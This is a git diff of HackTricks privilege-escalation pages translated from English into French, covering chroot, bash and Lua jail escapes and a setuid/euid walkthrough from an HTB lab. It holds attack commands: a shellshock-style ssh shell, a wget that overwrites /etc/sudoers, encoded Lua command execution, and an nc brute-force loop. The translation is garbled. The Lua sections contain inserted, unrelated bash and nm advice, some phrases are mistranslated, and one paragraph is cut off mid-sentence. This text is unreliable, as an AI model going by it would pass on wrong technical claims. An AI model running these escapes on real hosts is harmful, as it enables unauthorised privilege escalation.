-### Root + Fork + UDS (Unix Domain Sockets) +### Racine + Fork + UDS (Unix Domain Sockets) {% hint style="warning" %} -FD can be passed over Unix Domain Sockets, so: +FD peut être transmis via Unix Domain Sockets, donc : -* Create a child process (fork) -* Create UDS so parent and child can talk -* Run chroot in child process in a different folder -* In parent proc, create a FD of a folder that is outside of new child proc chroot -* Pass to child procc that FD using the UDS -* Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail +* Créer un processus enfant (fork) +* Créer UDS pour que le parent et l'enfant puissent communiquer +* Exécuter chroot dans le processus enfant dans un dossier différent +* Dans le processus parent, créer un FD d'un dossier qui se trouve en dehors du nouveau chroot du processus enfant +* Passer à l'enfant ce FD en utilisant l'UDS +* Le processus enfant chdir vers ce FD, et parce qu'il est en dehors de son chroot, il s'échappera de la prison {% endhint %} -### Root + Mount +### Racine + Montage {% hint style="warning" %} -* Mounting root device (/) into a directory inside the chroot -* Chrooting into that directory +* Monter le périphérique racine (/) dans un répertoire à l'intérieur du chroot +* Chrooter dans ce répertoire -This is possible in Linux +Ceci est possible sous Linux {% endhint %} -### Root + /proc +### Racine + /proc {% hint style="warning" %} -* Mount procfs into a directory inside the chroot (if it isn't yet) -* Look for a pid that has a different root/cwd entry, like: /proc/1/root -* Chroot into that entry +* Monter procfs dans un répertoire à l'intérieur du chroot (si ce n'est pas déjà fait) +* Rechercher un pid qui a une entrée racine/cwd différente, comme : /proc/1/root +* Chrooter dans cette entrée {% endhint %} -### Root(?) + Fork +### Racine(?) + Fork {% hint style="warning" %} -* Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it -* From the parent process, move the folder where the child process is in a folder previous to the chroot of the children -* This children process will find himself outside of the chroot +* Créer un Fork (processus enfant) et chrooter dans un dossier différent plus profondément dans le FS et CD dessus +* À partir du processus parent, déplacer le dossier où se trouve le processus enfant dans un dossier précédent le chroot des enfants +* Ce processus enfant se retrouvera à l'extérieur du chroot {% endhint %} ### ptrace {% hint style="warning" %} -* Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore -* Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap\_sys\_ptrace)). +* Il y a quelque temps, les utilisateurs pouvaient déboguer leurs propres processus à partir d'un processus de lui-même... mais cela n'est plus possible par défaut +* Quoi qu'il en soit, s'il est possible, vous pouvez ptrace dans un processus et exécuter un shellcode à l'intérieur de celui-ci ([voir cet exemple](linux-capabilities.md#cap\_sys\_ptrace)). {% endhint %} -## Bash Jails +## Jails Bash -### Enumeration - -Get info about the jail: +### Énumération +Obtenir des informations sur la prison : ```bash echo $SHELL echo $PATH @@ -185,103 +224,107 @@ env export pwd ``` +### Modifier PATH -### Modify PATH - -Check if you can modify the PATH env variable - +Vérifiez si vous pouvez modifier la variable d'environnement PATH. ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` - -### Using vim - +### Utilisation de vim ```bash :set shell=/bin/sh :shell ``` +### Créer un script -### Create script - -Check if you can create an executable file with _/bin/bash_ as content - +Vérifiez si vous pouvez créer un fichier exécutable avec _/bin/bash_ comme contenu. ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` +### Obtenir bash depuis SSH -### Get bash from SSH - -If you are accessing via ssh you can use this trick to execute a bash shell: - +Si vous accédez via ssh, vous pouvez utiliser cette astuce pour exécuter un shell bash : ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` - -### Declare - +### Déclaration ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` - ### Wget -You can overwrite for example sudoers file - +Vous pouvez écraser, par exemple, le fichier sudoers. ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` - -### Other tricks +### Autres astuces [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ -[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ -[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\ -**It could also be interesting the page:** +[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ +[https://gtfobins.github.io](https://gtfobins.github.io/)\ +**La page suivante pourrait également être intéressante:** {% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} [bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md) {% endcontent-ref %} -## Python Jails +## Jails Python -Tricks about escaping from python jails in the following page: +Astuces pour s'échapper des jails Python sur la page suivante: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} -## Lua Jails +## Jails Lua -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) - -**Eval with command execution:** +Sur cette page, vous pouvez trouver les fonctions globales auxquelles vous avez accès dans Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) +**Eval avec exécution de commande:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` +Quelques astuces pour **appeler des fonctions d'une bibliothèque sans utiliser de points**: -Some tricks to **call functions of a library without using dots**: +- Utilisez la commande `source` pour charger la bibliothèque dans l'environnement actuel. Ensuite, vous pouvez appeler les fonctions de la bibliothèque directement sans utiliser de points. +- Utilisez la commande `eval` pour exécuter une chaîne de caractères qui contient le nom de la fonction et ses arguments. Par exemple: `eval "nom_de_la_fonction argument1 argument2"` + +- Utilisez la commande `alias` pour créer un alias pour la fonction de la bibliothèque. Par exemple: `alias nom_alias="source chemin_vers_la_bibliothèque; nom_de_la_fonction"` + +Ces astuces peuvent être utiles pour contourner les restrictions de shell limité ou pour exécuter des fonctions de bibliothèques sans avoir à taper le nom complet de la bibliothèque à chaque fois. ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` +# Énumérer les fonctions d'une bibliothèque : -Enumerate functions of a library: +Pour énumérer les fonctions d'une bibliothèque, vous pouvez utiliser la commande `nm`. Cette commande affiche les symboles (y compris les fonctions) d'un fichier objet ou d'une bibliothèque partagée. +Syntaxe : + +```bash +nm +``` + +Exemple : + +```bash +nm /usr/lib/x86_64-linux-gnu/libc.a +``` + +Cela affichera toutes les fonctions de la bibliothèque `libc.a`. ```bash for k,v in pairs(string) do print(k,v) end ``` - -Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: - +Notez que chaque fois que vous exécutez la ligne de commande précédente dans un **environnement lua différent, l'ordre des fonctions change**. Par conséquent, si vous devez exécuter une fonction spécifique, vous pouvez effectuer une attaque par force brute en chargeant différents environnements lua et en appelant la première fonction de la bibliothèque "le". ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -292,25 +335,22 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` - -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: - +**Obtenir un shell lua interactif**: Si vous êtes dans un shell lua limité, vous pouvez obtenir un nouveau shell lua (et espérons-le, illimité) en appelant: ```bash debug.debug() ``` +## Références -## References - -* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)) +* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Diapositives : [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/privilege-escalation/euid-ruid-suid.md b/linux-hardening/privilege-escalation/euid-ruid-suid.md index ea7c9f23b..a88f3e949 100644 --- a/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -4,90 +4,49 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -**This post was copied from** [**https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail**](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) +**Ce post a été copié depuis** [**https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail**](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) ## **`*uid`** -* **`ruid`**: This is the **real user ID** of the user that started the process. -* **`euid`**: This is the **effective user ID**, is what the system looks to when deciding **what privileges the process should have**. In most cases, the `euid` will be the same as the `ruid`, but a SetUID binary is an example of a case where they differ. When a **SetUID** binary starts, the **`euid` is set to the owner of the file**, which allows these binaries to function. -* `suid`: This is the **saved user ID,** it's used when a privileged process (most cases running as root) needs to **drop privileges** to do some behavior, but needs to then **come back** to the privileged state. +* **`ruid`**: Il s'agit de l'**ID utilisateur réel** de l'utilisateur qui a démarré le processus. +* **`euid`**: Il s'agit de l'**ID utilisateur effectif**, c'est ce que le système regarde pour décider **quels privilèges le processus doit avoir**. Dans la plupart des cas, l'`euid` sera identique au `ruid`, mais un binaire SetUID est un exemple d'un cas où ils diffèrent. Lorsqu'un binaire **SetUID** démarre, l'**`euid` est défini sur le propriétaire du fichier**, ce qui permet à ces binaires de fonctionner. +* `suid`: Il s'agit de l'**ID utilisateur enregistré**, il est utilisé lorsqu'un processus privilégié (dans la plupart des cas en cours d'exécution en tant que root) doit **abaisser les privilèges** pour effectuer un comportement, mais doit ensuite **revenir** à l'état privilégié. {% hint style="info" %} -If a **non-root process** wants to **change it’s `euid`**, it can only **set** it to the current values of **`ruid`**, **`euid`**, or **`suid`**. +Si un **processus non root** veut **changer son `euid`**, il ne peut le **définir** qu'aux valeurs actuelles de **`ruid`**, **`euid`** ou **`suid`**. {% endhint %} ## set\*uid -On first look, it’s easy to think that the system calls **`setuid`** would set the `ruid`. In fact, when for a privileged process, it does. But in the general case, it actually **sets the `euid`**. From the [man page](https://man7.org/linux/man-pages/man2/setuid.2.html): +À première vue, il est facile de penser que les appels système **`setuid`** définiraient le `ruid`. En fait, pour un processus privilégié, c'est le cas. Mais dans le cas général, il **définit en fait l'`euid`**. Selon la [page de manuel](https://man7.org/linux/man-pages/man2/setuid.2.html): -> setuid() **sets the effective user ID of the calling process**. If the calling process is privileged (more precisely: if the process has the CAP\_SETUID capability in its user namespace), the real UID and saved set-user-ID are also set. +> setuid() **définit l'ID utilisateur effectif du processus appelant**. Si le processus appelant est privilégié (plus précisément : si le processus a la capacité CAP\_SETUID dans son espace de noms utilisateur), l'UID réel et l'ID utilisateur enregistré sont également définis. -So in the case where you’re running `setuid(0)` as root, this is sets all the ids to root, and basically locks them in (because `suid` is 0, it loses the knowledge or any previous user - of course, root processes can change to any user they want). +Ainsi, dans le cas où vous exécutez `setuid(0)` en tant que root, cela définit tous les identifiants sur root et les verrouille essentiellement (car `suid` est 0, il perd la connaissance ou tout utilisateur précédent - bien sûr, les processus root peuvent changer pour n'importe quel utilisateur qu'ils veulent). -Two less common syscalls, **`setreuid`** (`re` for real and effective) and **`setresuid`** (`res` includes saved) set the specific ids. Being in an unprivileged process limits these calls (from [man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) for `setresuid`, though the [page](https://man7.org/linux/man-pages/man2/setreuid.2.html) for `setreuid` has similar language): +Deux appels système moins courants, **`setreuid`** (`re` pour réel et effectif) et **`setresuid`** (`res` inclut enregistré) définissent les identifiants spécifiques. Être dans un processus non privilégié limite ces appels (de la [page de manuel](https://man7.org/linux/man-pages/man2/setresuid.2.html) pour `setresuid`, bien que la [page](https://man7.org/linux/man-pages/man2/setreuid.2.html) pour `setreuid` ait un langage similaire) : -> An unprivileged process may change its **real UID, effective UID, and saved set-user-ID**, each to one of: the current real UID, the current effective UID, or the current saved set-user-ID. +> Un processus non privilégié peut changer son **UID réel, son UID effectif et son ID utilisateur enregistré**, chacun pour l'un des suivants : l'UID réel actuel, l'UID effectif actuel ou l'ID utilisateur enregistré actuel. > -> A privileged process (on Linux, one having the CAP\_SETUID capability) may set its real UID, effective UID, and saved set-user-ID to arbitrary values. +> Un processus privilégié (sous Linux, celui ayant la capacité CAP\_SETUID) peut définir son UID réel, son UID effectif et son ID utilisateur enregistré sur des valeurs arbitraires. -It’s important to remember that these aren’t here as a security feature, but rather reflect the intended workflow. When a program wants to change to another user, it changes the effective userid so it can act as that user. +Il est important de se rappeler que ceux-ci ne sont pas là en tant que fonctionnalité de sécurité, mais reflètent plutôt le flux de travail prévu. Lorsqu'un programme veut changer d'utilisateur, il change l'ID utilisateur effectif pour pouvoir agir en tant qu'utilisateur. -As an attacker, it’s easy to get in a bad habit of just calling `setuid` because the most common case is to go to root, and in that case, `setuid` is effectively the same as `setresuid`. +En tant qu'attaquant, il est facile de prendre de mauvaises habitudes en appelant simplement `setuid` car le cas le plus courant est de passer à root, et dans ce cas, `setuid` est effectivement identique à `setresuid`. -## Execution +## Exécution -### **execve (and other execs)** - -The `execve` system call executes a program specified in the first argument. The second and third arguments are arrays, the arguments (`argv`) and the environment (`envp`). There are several other system calls that are based on `execve`, referred to as `exec` ([man page](https://man7.org/linux/man-pages/man3/exec.3.html)). They are each just wrappers on top of `execve` to provide different shorthands for calling `execve`. - -There’s a ton of detail on the [man page](https://man7.org/linux/man-pages/man2/execve.2.html), for how it works. In short, when **`execve` starts a program**, it uses the **same memory space as the calling program**, replacing that program, and newly initiating the stack, heap, and data segments. It wipes out the code for the program and writes the new program into that space. - -So what happens to `ruid`, `euid`, and `suid` on a call to `execve`? It does not change the metadata associated with the process. The man page explicitly states: - -> The process’s real UID and real GID, as well as its supplementary group IDs, are **unchanged** by a call to **execve**(). - -There’s a bit more nuance to the `euid`, with a longer paragraph describing what happens. Still, it’s focused on if the new program has the SetUID bit set. Assuming that isn’t the case, then the `euid` is also unchanged by `execve`. - -The `suid` is copied from the `euid` when `execve` is called: - -> The effective user ID of the process is copied to the saved set-user-ID; similarly, the effective group ID is copied to the saved set-group-ID. This copying takes place after any effective ID changes that occur because of the set-user-ID and set-group-ID mode bits. - -### **system** - -`system` is a [completely different approach](https://man7.org/linux/man-pages/man3/system.3.html) to starting a new process. Where `execve` operates at the process level within the same process, **`system` uses `fork` to create a child process** and then executes in that child process using `execl`: - -> ``` -> execl("/bin/sh", "sh", "-c", command, (char *) NULL); -> ``` - -`execl` is just a wrapper around `execve` which converts string arguments into the `argv` array and calls `execve`. It’s important to note that **`system` uses `sh` to call the command**. - -### sh and bash SUID - -**`bash`** has a **`-p` option**, which the [man page](https://linux.die.net/man/1/bash) describes as: - -> Turn on _privileged_ mode. In this mode, the **$ENV** and **$BASH\_ENV** files are not processed, shell functions are not inherited from the environment, and the **SHELLOPTS**, **BASHOPTS**, **CDPATH**, and **GLOBIGNORE** variables, if they appear in the environment, are ignored. If the shell is started with the effective user (group) id not equal to the real user (group) id, and the **-p option is not supplied**, these actions are taken and the **effective user id is set to the real user id**. If the **-p** option **is supplied** at startup, the **effective user id is not reset**. Turning this option off causes the effective user and group ids to be set to the real user and group ids. - -In short, without `-p`, `euid` is set to `ruid` when Bash is run. **`-p` prevents this**. - -The **`sh`** shell **doesn’t have a feature like this**. The [man page](https://man7.org/linux/man-pages/man1/sh.1p.html) doesn’t mention “user ID”, other than with the `-i` option, which says: - -> \-i Specify that the shell is interactive; see below. An implementation may treat specifying the -i option as an error if the real user ID of the calling process does not equal the effective user ID or if the real group ID does not equal the effective group ID. - -## Testing - -### setuid / system - -With all of that background, I’ll take this code and walk through what happens on Jail (HTB): +### **execve (et autres execs)** +L'appel système `execve` exécute un programme spécifié dans le premier argument. Les deuxième et troisième arguments sont des tableaux, les arguments (`argv`) et l'environnement (`envp`). Il existe plusieurs autres appels système qui sont ```c #define _GNU_SOURCE #include @@ -99,44 +58,34 @@ int main(void) { return 0; } ``` - -This program is compiled and set as SetUID on Jail over NFS: - +Ce programme est compilé et configuré en tant que SetUID sur Jail via NFS: ```bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a; ...[snip]... oxdf@hacky$ chmod 4755 /mnt/nfsshare/a ``` - -As root, I can see this file: - +En tant que root, je peux voir ce fichier: ``` [root@localhost nfsshare]# ls -l a -rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a ``` - -When I run this as nobody, `id` runs as nobody: - +Lorsque j'exécute ceci en tant que nobody, `id` s'exécute en tant que nobody: ```bash bash-4.2$ $ ./a uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +Le programme démarre avec un `ruid` de 99 (personne) et un `euid` de 1000 (frank). Lorsqu'il atteint l'appel `setuid`, ces mêmes valeurs sont définies. -The program starts with a `ruid` of 99 (nobody) and an `euid` of 1000 (frank). When it reaches the `setuid` call, those same values are set. - -Then `system` is called, and I would expect to see `uid` of 99, but also an `euid` of 1000. Why isn’t there one? The issue is that **`sh` is symlinked to `bash`** in this distribution: - +Ensuite, `system` est appelé et je m'attendrais à voir un `uid` de 99, mais aussi un `euid` de 1000. Pourquoi n'y en a-t-il pas un ? Le problème est que **`sh` est un lien symbolique vers `bash`** dans cette distribution : ``` $ ls -l /bin/sh lrwxrwxrwx. 1 root root 4 Jun 25 2017 /bin/sh -> bash ``` - -So `system` calls `/bin/sh sh -c id`, which is effectively `/bin/bash bash -c id`. When `bash` is called, with no `-p`, then it sees `ruid` of 99 and `euid` of 1000, and sets `euid` to 99. +Ainsi, l'appel système `system` appelle `/bin/sh sh -c id`, qui est effectivement `/bin/bash bash -c id`. Lorsque `bash` est appelé sans `-p`, il voit `ruid` de 99 et `euid` de 1000, et définit `euid` à 99. ### setreuid / system -To test that theory, I’ll try replacing `setuid` with `setreuid`: - +Pour tester cette théorie, je vais essayer de remplacer `setuid` par `setreuid`: ```c #define _GNU_SOURCE #include @@ -148,26 +97,20 @@ int main(void) { return 0; } ``` - -Compile and permissions: - +Compilation et permissions : ``` oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b ``` - -Now on Jail, now `id` returns uid of 1000: - +Maintenant en prison, maintenant `id` renvoie l'uid de 1000: ``` bash-4.2$ $ ./b uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` - -The `setreuid` call set both `ruid` and `euid` to 1000, so when `system` called `bash`, they matched, and things continued as frank. +L'appel `setreuid` définit à la fois `ruid` et `euid` à 1000, donc lorsque `system` appelle `bash`, ils correspondent et les choses continuent comme frank. ### setuid / execve -Calling `execve` If my understanding above is correct, I could also not worry about messing with the uids, and instead call `execve`, as that will carry though the existing IDs. That will work, but there are traps. For example, common code might look like this: - +En appelant `execve`, si ma compréhension ci-dessus est correcte, je pourrais également ne pas me soucier de manipuler les uids et plutôt appeler `execve`, car cela conservera les identifiants existants. Cela fonctionnera, mais il y a des pièges. Par exemple, le code commun pourrait ressembler à ceci: ```c #define _GNU_SOURCE #include @@ -179,18 +122,14 @@ int main(void) { return 0; } ``` - -Without the environment (I’m passing NULL for simplicity), I’ll need a full path on `id`. This works, returning what I expect: - +Sans l'environnement (je passe NULL pour simplifier), j'aurai besoin d'un chemin complet sur `id`. Cela fonctionne, renvoyant ce à quoi je m'attends: ``` bash-4.2$ $ ./c uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +Le `[r]uid` est 99, mais le `euid` est 1000. -The `[r]uid` is 99, but the `euid` is 1000. - -If I try to get a shell from this, I have to be careful. For example, just calling `bash`: - +Si j'essaie d'obtenir un shell à partir de cela, je dois être prudent. Par exemple, en appelant simplement `bash`: ```c #define _GNU_SOURCE #include @@ -202,26 +141,20 @@ int main(void) { return 0; } ``` - -I’ll compile that and set it SetUID: - +Je vais compiler cela et le définir en SetUID: ``` oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d oxdf@hacky$ chmod 4755 /mnt/nfsshare/d ``` - -Still, this will return all nobody: - +Pourtant, cela renverra tout de même tous les nobody: ``` bash-4.2$ $ ./d bash-4.2$ $ id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +Si cela avait été `setuid(0)`, cela fonctionnerait bien (en supposant que le processus avait la permission de le faire), car cela changerait les trois identifiants en 0. Mais en tant qu'utilisateur non root, cela ne fait que définir l'`euid` sur 1000 (ce qu'il était déjà), puis appelle `sh`. Mais `sh` est `bash` sur Jail. Et lorsque `bash` démarre avec un `ruid` de 99 et un `euid` de 1000, il ramènera l'`euid` à 99. -If it were `setuid(0)`, then it would work fine (assuming the process had permission to do that), as then it changes all three ids to 0. But as a non-root user, this just sets the `euid` to 1000 (which is already was), and then calls `sh`. But `sh` is `bash` on Jail. And when `bash` starts with `ruid` of 99 and `euid` of 1000, it will drop the `euid` back to 99. - -To fix this, I’ll call `bash -p`: - +Pour résoudre ce problème, j'appellerai `bash -p`: ```c #define _GNU_SOURCE #include @@ -234,25 +167,10 @@ int main(void) { return 0; } ``` - -This time the `euid` is there: - +Cette fois, l'`euid` est présent: ``` bash-4.2$ $ ./e bash-4.2$ $ id uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` - -Or I could call `setreuid` or `setresuid` instead of `setuid`. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Ou je pourrais appeler `setreuid` ou `setresuid` au lieu de `setuid`. diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 217ae5ec3..c34a80126 100644 --- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,23 +1,22 @@ -# Interesting Groups - Linux Privesc +# Groupes intéressants - Linux Privesc
